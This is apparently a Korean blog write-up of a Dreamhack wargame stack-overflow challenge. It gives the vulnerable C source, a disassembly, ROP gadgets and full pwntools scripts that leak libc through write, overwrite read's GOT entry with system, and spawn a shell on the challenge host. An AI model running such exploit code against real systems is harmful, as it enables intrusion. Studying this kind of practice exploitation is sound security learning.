#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
32bit rop 문제이다.
앞선 문제에서 설명한 것과 같이 64 bit와의 차이는 함수를 불러오는 방식의 차이 및 인자를 가져오는 차이가 있으며, 인자의 수 만큼 pop을 가진 gadget이 필요하다.
우선 buf 변수의 크기를 gdb로 확인해보면
Dump of assembler code for function main:
0x080485d9 <+0>: push %ebp
0x080485da <+1>: mov %esp,%ebp
0x080485dc <+3>: push %edi
0x080485dd <+4>: sub $0x40,%esp
0x080485e0 <+7>: lea -0x44(%ebp),%edx
0x080485e3 <+10>: mov $0x0,%eax
0x080485e8 <+15>: mov $0x10,%ecx
0x080485ed <+20>: mov %edx,%edi
0x080485ef <+22>: rep stos %eax,%es:(%edi)
0x080485f1 <+24>: call 0x8048592 <initialize>
0x080485f6 <+29>: push $0x400
0x080485fb <+34>: lea -0x44(%ebp),%eax
0x080485fe <+37>: push %eax
0x080485ff <+38>: push $0x0
0x08048601 <+40>: call 0x80483f0 <read@plt>
0x08048606 <+45>: add $0xc,%esp
0x08048609 <+48>: push $0x40
0x0804860b <+50>: lea -0x44(%ebp),%eax
0x0804860e <+53>: push %eax
0x0804860f <+54>: push $0x1
0x08048611 <+56>: call 0x8048450 <write@plt>
0x08048616 <+61>: add $0xc,%esp
0x08048619 <+64>: mov $0x0,%eax
0x0804861e <+69>: mov -0x4(%ebp),%edi
0x08048621 <+72>: leave
0x08048622 <+73>: ret
End of assembler dump.
코드 내에서는 0x40 byte 할당되었으나 실제로는 0x44 byte가 할당된 것을 확인할 수 있다.
이번엔 gadget을 찾아보면, puts 함수는 1개의 인자를 가지고 있기에 pop ; ret 이면 충분하며 ROPgadget을 통해 쉽게 찾을 수 있다.
...
0x0804868b : pop ebp ; ret
0x08048688 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483d9 : pop ebx ; ret
0x0804868a : pop edi ; pop ebp ; ret
0x08048689 : pop esi ; pop edi ; pop ebp ; ret
...
이를 기준으로 페이로드를 작성해보면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',19080)
#p = process('./basic_rop_x86')
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']
pr = 0x0804868b
ppr = 0x0804868a
pppr = 0x08048689
bss = 0x0804a040
pay = b''
pay += b'A'*(72) #dummy
#print read got
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)
#got overwrite
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(12) #system 함수 주소 4 byte + /bin/sh 문자열 7 byte + null 1 byte
pay += p32(read_plt)
pay += b'\x90'*4
pay += p32(read_got+4)
p.sendline(pay)
p.recv(64)
read_add = p.recv(4)
print('read add = ',hex(u32(read_add)))
system_add = u32(read_add) - 0xd4350 + 0x3a940
print('system add = ',hex(system_add))
pay3 = b''
pay3 += p32(system_add) + b'/bin/sh'
p.sendline(pay3)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 19080: Done
[*] '/home/kali/Downloads/1/basic_rop_x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/kali/Downloads/1/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
write add = 0xf7e7e3c0
read add = 0xf7e7e350
system add = 0xf7de4940
[*] Switching to interactive mode
$ id
uid=1000(basic_rop_x86) gid=1000(basic_rop_x86) groups=1000(basic_rop_x86)
$ cat flag
DH{----------#플래그는 삭제}
위의 페이로드에서 system 함수의 주소를 구하기 위한 offset 값을 직접 넣어준 이유는 로컬 환경에서 libc 파일을 ELF 명령어를 통해 symbols를 가져오면 잘 작동하는데, 실제로 온라인에서는 작동하지 않는 문제가 발생할 수 있기 때문이다.
이 경우 아래와 같이 gdb로 libc 파일의 각 함수 주소를 찾아 offset을 정확히 넣어주면 된다.
┌──(kali㉿kali)-[~/Downloads/1]
└─$ gdb -q ./libc.so.6
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 10.1.90.20210103-git in 0.00ms using Python engine 3.10
Reading symbols from ./libc.so.6...
(No debugging symbols found in ./libc.so.6)
gef➤ p read
$1 = {<text variable, no debug info>} 0xd4350 <read>
gef➤ p system
$2 = {<text variable, no debug info>} 0x3a940 <system>
더불어, 아래와 같이 쓰기 가능한 영역에 /bin/sh 문자열을 삽입하여서도 풀 수 있다.
우선 쓰기 가능한 영역을 찾는 방법은 아래와 같다.
objdump bss 영역
┌──(kali㉿kali)-[~/Downloads/1]
└─$ objdump -h basic_rop_x86
...
25 .bss 0000000c 0804a040 0804a040 00001034 2**5
ALLOC
26 .comment 00000035 00000000 00000000 00001034 2**0
CONTENTS, READONLY
gdb (gef) info file
gef➤ info file
Symbols from "/home/kali/Downloads/1/basic_rop_x86".
Local exec file:
`/home/kali/Downloads/1/basic_rop_x86', file type elf32-i386.
Entry point: 0x8048480
...
0x0804a02c - 0x0804a034 is .data
0x0804a040 - 0x0804a04c is .bss
gef vmmap
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x8048000 0x8049000 0x000000 r-x /home/kali/Downloads/1/basic_rop_x86
0x8049000 0x804a000 0x000000 r-- /home/kali/Downloads/1/basic_rop_x86
0x804a000 0x804b000 0x001000 rw- /home/kali/Downloads/1/basic_rop_x86
0xf7dbc000 0xf7dd9000 0x000000 r-- /usr/lib32/libc-2.33.so
0xf7dd9000 0xf7f31000 0x01d000 r-x /usr/lib32/libc-2.33.so
0xf7f31000 0xf7fa4000 0x175000 r-- /usr/lib32/libc-2.33.so
0xf7fa4000 0xf7fa5000 0x1e8000 --- /usr/lib32/libc-2.33.so
0xf7fa5000 0xf7fa7000 0x1e8000 r-- /usr/lib32/libc-2.33.so
0xf7fa7000 0xf7fa9000 0x1ea000 rw- /usr/lib32/libc-2.33.so
0xf7fa9000 0xf7fb0000 0x000000 rw-
0xf7fc3000 0xf7fc5000 0x000000 rw-
0xf7fc5000 0xf7fc9000 0x000000 r-- [vvar]
0xf7fc9000 0xf7fcb000 0x000000 r-x [vdso]
0xf7fcb000 0xf7fcc000 0x000000 r-- /usr/lib32/ld-2.33.so
0xf7fcc000 0xf7fee000 0x001000 r-x /usr/lib32/ld-2.33.so
0xf7fee000 0xf7ffb000 0x023000 r-- /usr/lib32/ld-2.33.so
0xf7ffb000 0xf7ffd000 0x02f000 r-- /usr/lib32/ld-2.33.so
0xf7ffd000 0xf7ffe000 0x031000 rw- /usr/lib32/ld-2.33.so
0xfffdd000 0xffffe000 0x000000 rw- [stack]
위의 페이로드에서는 read_got 영역에 /bin/sh를 삽입하고 사용했는데, 그 주소가 0xf7e7e350 이었고 다행히 쓰기 가능한 영역이었기에 문제 없이 삽입된 것을 알 수 있다.
이를 기준으로 코드를 다시 작성해보면 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',19080)
#p = process('./basic_rop_x86')
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']
pr = 0x0804868b
ppr = 0x0804868a
pppr = 0x08048689
bss = 0x0804a040
pay = b''
pay += b'A'*(72) #dummy
#print read got
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)
#got overwrite
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(12)
pay += p32(read_plt)
pay += b'\x90'*4
pay += p32(read_got+4)
p.sendline(pay)
p.recv(64)
read_add = p.recv(4)
print('read add = ',hex(u32(read_add)))
system_add = u32(read_add) - 0xd4350 + 0x3a940
print('system add = ',hex(system_add))
pay3 = b''
pay3 += p32(system_add) + b'/bin/sh'
p.sendline(pay3)
p.interactive()
'Wargame > Dreamhack' 카테고리의 다른 글
hook (0) | 2022.07.29 |
---|---|
fho (0) | 2022.07.27 |
basic_rop_x64 (0) | 2022.07.22 |
rop (0) | 2022.07.20 |
Return to Library (0) | 2022.07.19 |